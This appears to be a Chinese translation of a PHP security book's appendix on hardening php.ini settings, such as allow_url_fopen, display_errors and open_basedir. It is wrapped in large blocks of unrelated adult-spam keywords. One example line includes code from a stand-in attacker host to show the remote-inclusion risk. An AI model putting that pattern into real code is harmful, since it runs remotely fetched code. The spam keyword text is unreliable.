日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区

您的位置:首頁技術(shù)文章
文章詳情頁

PHP安全-配置選項

瀏覽:167日期:2022-09-11 17:41:09
配置選項

盡管本書的焦點是在于應用的安全性,但有一些配置選項是任何關(guān)心安全的開發(fā)者必需熟悉的。PHP的配置會影響你所寫代碼的行為以及你使用的技巧,必要時你需要稍稍負責一下應用程序以外的東西。

PHP的配置主要由一個名為php.ini的文件所指定。該文件包含很多配置選項,每一項都會對PHP產(chǎn)生非常特定的影響。如果該文件不存在,或者該文件中的某選項不存在,則會使用默認值。

如果你不知道php.ini文件所在的位置,你可以使用phpinfo( )來確定PHP中對該文件路徑的定義:

<?php

phpinfo();

?>

圖A-1 所示的第六行(配置文件(php.ini)路徑)顯示了php.ini的完整路徑。如果只顯示了路徑(沒有文件名),這就意味著PHP無法在所示路徑找到php.ini文件。

該文件包含的自身說明非常好,因此你可以閱讀該文件并選擇適合你的配置選項。而手冊更是詳細,所以在你需要某一選項的更多信息時,我推薦訪問http://php.net/manual/ini.php

圖A-1. phpinfo( ) 函數(shù)可用于php.ini文件的定位

PHP安全-配置選項

A.1. allow_url_fopen

正如第六章所示,allow_url_fopen選項允許你如同本地文件一樣引用遠程資源:

<?php

$contents = file_get_contents(’http://example.org/xss.html’);

?>

在第五章中揭示了當它與include或require相結(jié)合時的危險性:

<?php

include ’http://evil.example.org/evil.inc’;

?>

我推薦關(guān)閉allow_url_fopen選項,除非你的應用需要它。

A.2. disable_functions

disable_functions選項是非常有用的,它可以確保一些有潛在威脅的函數(shù)不能被使用。盡管可以建立規(guī)范去禁止使用這些函數(shù),但在PHP配置中進行限制要比依賴于開發(fā)者對規(guī)范的遵循要可靠得多。

我建立對附錄B列出的函數(shù)進行檢查,看一下是否要對一些函數(shù)進行限制。

A.3. display_errors

PHP的錯誤報告可以幫助你發(fā)現(xiàn)你所寫代碼中的錯誤。當你開發(fā)應用時,把錯誤提示顯示出來是取得即時反饋的有效方法,同時也可以加快開發(fā)速度。

在一個產(chǎn)品級的應用中,這一行為會成為一項安全風險。如果它顯示錯誤信息,所有人就可以得知你的應用中的重要信息。

在產(chǎn)品中你需要關(guān)閉display_errors選項。

A.4. enable_dl

enable_dl選項用于控制dl()函數(shù)是否生效,該函數(shù)允許在運行時加載PHP擴展。

使用dl()函數(shù)可能導致攻擊者繞過open_basedir限制,因此除非有必要,你必須在你的應用中禁止它。

A.5. error_reporting

很多安全漏洞是由于使用了未初始化的變量或其它隨意的編程方法引起的。通過把PHP的error_reporting選項置為E_ALL 或 E_ALL | E_STRICT,PHP就會對上述行為進行提示。這些設置都為報告Notice級別的錯誤。

我建議把error_reporting至少設定為E_ALL。(譯注:在開發(fā)中)

A.6. file_uploads

file_uploads選項決定了是否允許上傳文件。因此,如果你的應用不需要用戶上傳文件,那么關(guān)閉該選項就是最好的選擇。

只是簡單地在PHP代碼中不對上傳文件進行處理是不夠的,因為在執(zhí)行你的代碼前,PHP就做了一些工作(如根據(jù)相關(guān)部據(jù)生成$_FILES數(shù)組)。

A.7. log_errors

當log_errors設為有效時,PHP會向error_log配置選項指定的文件中寫入所有出錯信息。

當display_errors設為無效時,將log_errors設為有效是很重要的;否則你將無法看到睛出錯信息。

我建議將log_errors設為有效并在error_log設定日志文件所在位置。

A.8. magic_quotes_gpc

magic_quotes_gpc是一個常用的選項,它目的是防止SQL注入。但出于很多原因,包括它轉(zhuǎn)義輸入的方式,證明了它是不完善的。

它對$_GET, $_POST, 以及 $_COOKIE中的數(shù)據(jù)使用同樣的規(guī)則即addslashes( )函數(shù)進行處理。從而,它并沒有根據(jù)你的數(shù)據(jù)庫選用對應的轉(zhuǎn)義函數(shù)進行處理。

基于兩個主要的原因,你需要把get_magic_quotes_gpc設為無效:

首先,它會加大你的輸入過濾邏輯的復雜性,這是由于它在執(zhí)行你的代碼前首先對數(shù)據(jù)進行了編輯。例如,你需要對輸入的姓名進行過濾,其邏輯是只允許字母、空格、連詞符以及單引號,當magic_quotes_gpc生效時,你必須適應形如O’Reilly的姓名或者使用stripslashes( )嘗試將它恢復原形。這一不必要的復雜性(或者說不嚴謹?shù)倪^濾規(guī)則)加大了發(fā)生錯誤的可能性,同時,你的輸入過濾機制中的缺陷必然會導致安全漏洞。

其次,它并沒有根據(jù)你的數(shù)據(jù)庫選用對應的轉(zhuǎn)義函數(shù)進行處理。這樣,由于它可以抵擋一些低層次或偶發(fā)的攻擊,掩蓋了它是一個糟糕的過濾或轉(zhuǎn)義機制這個事實,從而留下了一個安全漏洞,使你的應用無法抵擋如針對字符集的攻擊等更復雜的攻擊手段。

A.9. memory_limit

為防止寫得糟糕的腳本占用所有的可用內(nèi)存,可以使用memory_limit選項對最大內(nèi)存使用量進行限制(以字節(jié)方式或縮寫方式如8M指定)。

盡管最佳的取值是與運行的應用是相關(guān)的,我還是建議在大多情況下使用默認值8M。

memory_limit選項只有在PHP指定了enable-memory-limit方式編譯時才會生效。

A.10. open_basedir

open_basedir選項會限制PHP只能在它指定的目錄中打開文件。盡管它不能取代正確的輸入過濾,但該選項能減少利用文件系統(tǒng)相關(guān)函數(shù)如include及require進行的攻擊。

該選項的值會被當做前綴使用,因此當你想表示指定目錄時請小心不要漏了最后的斜杠:

open_basedir = /path/to/

小提示

請確認enable_dl選項是關(guān)閉的,否則open_basedir的限制可能會被繞過。

A.11. register_globals

見第二章

A.12. safe_mode

見第八章

PHP安全-配置選項

標簽: PHP
相關(guān)文章:
日本不卡不码高清免费观看,久久国产精品久久w女人spa,黄色aa久久,三上悠亚国产精品一区二区三区
免费在线亚洲| 久久久久亚洲| 亚洲天堂免费| 麻豆亚洲精品| 奶水喷射视频一区| 亚洲黄色在线| 日韩中文字幕不卡| 综合在线一区| 日本精品另类| 久久99性xxx老妇胖精品| 精品国产不卡| 一本大道色婷婷在线| 成人久久一区| 精品丝袜在线| 欧美精品一二| 红桃视频欧美| 婷婷久久免费视频| 国产精选久久| 国产一区三区在线播放| 偷拍精品精品一区二区三区| 久久精品国产68国产精品亚洲| 激情综合网站| 鲁大师影院一区二区三区| 日韩成人av影视| 成人在线黄色| 久久久久国产一区二区| 好看不卡的中文字幕| 综合激情一区| 欧美激情日韩| 天堂中文av在线资源库| 亚洲一区国产| 久久国产乱子精品免费女| 欧美韩日一区| 日韩精品一区第一页| 久久99青青| 亚洲午夜91| 日韩高清在线不卡| 国产高潮在线| 日韩一区欧美二区| 麻豆国产一区| 欧美特黄a级高清免费大片a级| 日韩av中文字幕一区| 麻豆久久久久久久| 成人午夜毛片| 欧美成人午夜| 91精品啪在线观看国产爱臀| 日韩1区在线| 蜜桃视频一区二区三区| 91综合网人人| 日韩在线观看中文字幕| 国产一区二区三区精品在线观看| 在线亚洲激情| 精品中文在线| 久久成人一区| 国模大尺度视频一区二区| 亚洲一区二区三区四区五区午夜| 久久永久免费| 午夜在线一区| 欧美一区久久久| 亚洲制服欧美另类| 成人精品中文字幕| 国产精品久久久久久模特| 午夜国产精品视频免费体验区| 国产精品22p| 日韩精品一二三区| 超碰超碰人人人人精品| 欧美在线看片| 欧美日韩四区| 色爱综合网欧美| 欧美私人啪啪vps| 国产农村妇女精品一二区| 国产美女高潮在线观看| 亚洲字幕久久| 欧美日韩免费观看视频| 日韩高清不卡一区| 夜夜嗨网站十八久久 | 亚洲国产成人精品女人| 国产精品久久免费视频| 蜜桃91丨九色丨蝌蚪91桃色| 久久视频国产| 精品国产精品国产偷麻豆| 日本不卡一二三区黄网| 不卡视频在线| 日韩免费福利视频| 麻豆精品久久| 日本99精品| 亚洲制服欧美另类| 老牛影视精品| 亚洲另类黄色| 亚洲深爱激情| 欧美日韩一区二区综合| 国产白浆在线免费观看| 久久99视频| 久久激五月天综合精品| 亚洲欧美一级| 亚洲综合欧美| 伊人精品在线| 欧美日一区二区| 九九精品调教| 一区二区精品伦理...| 久久精品一区| 欧美激情一区| 日韩在线黄色| 美女精品网站| 视频一区二区三区中文字幕| 好看不卡的中文字幕| 日韩精品欧美| 久久国产直播| 久久国产免费| 久久狠狠婷婷| 久久精品导航| 99视频精品全部免费在线视频| 成人国产精品一区二区网站| 国产高清精品二区| 国产精品久久久久久久久久齐齐| 日韩欧美2区| 日韩和欧美一区二区| 亚洲女同一区| 亚洲国产一区二区三区在线播放| 久久精品国产68国产精品亚洲| 四虎国产精品免费观看| 麻豆免费精品视频| 欧美激情一区| 精品国产一区二区三区噜噜噜| 国产精品99久久免费| 麻豆精品一区二区综合av| 麻豆成人综合网| 久久影视三级福利片| 国产精品久久免费视频| 日韩高清电影一区| 国产欧美日韩一级| 国产精品日本一区二区三区在线 | 久久99高清| 国产精品毛片一区二区在线看| 人在线成免费视频| 国产成年精品| 成人污污视频| 日韩欧美网址| 免费国产自久久久久三四区久久| 91超碰国产精品| 婷婷成人在线| 国产精品视区| 国产精品一区二区三区四区在线观看 | 久久亚洲美女| 国产精品一站二站| 亚洲v在线看| 青青国产精品| 亚洲不卡av不卡一区二区| 婷婷成人av| 日韩免费福利视频| 日韩中文字幕| 欧洲一区二区三区精品| 伊人精品久久| 日本久久综合| 亚洲视频电影在线| 国产v日韩v欧美v| 亚洲18在线| 国产拍在线视频| 一区二区三区国产在线| 电影91久久久| 综合日韩在线| 亚洲爱爱视频| 欧美日韩精品一区二区三区视频 | 风间由美中文字幕在线看视频国产欧美| 久久精品高清| 国产乱论精品| 女人av一区| 国产精品videossex| 国内精品福利| 精品视频网站| 日韩高清一级| 亚洲精品一区二区妖精| 免费在线播放第一区高清av| 99国产精品久久久久久久| 麻豆国产91在线播放| 亚洲欧美高清| 国产不卡人人| 欧美日韩午夜| 激情久久五月| 电影91久久久| 日本强好片久久久久久aaa| 五月天久久久| 国产一区丝袜| 日韩福利视频一区| 午夜久久tv| 捆绑调教日本一区二区三区| 日本成人手机在线| 亚洲精品1区2区| 欧美日韩精品免费观看视欧美高清免费大片| 日韩精品1区2区3区| 午夜日韩在线| 欧美日韩视频网站| 久久精品国产成人一区二区三区| 国产婷婷精品| 成人看片网站| 精品色999| 国产精品调教| 7777精品| 日本成人在线不卡视频| 麻豆91精品|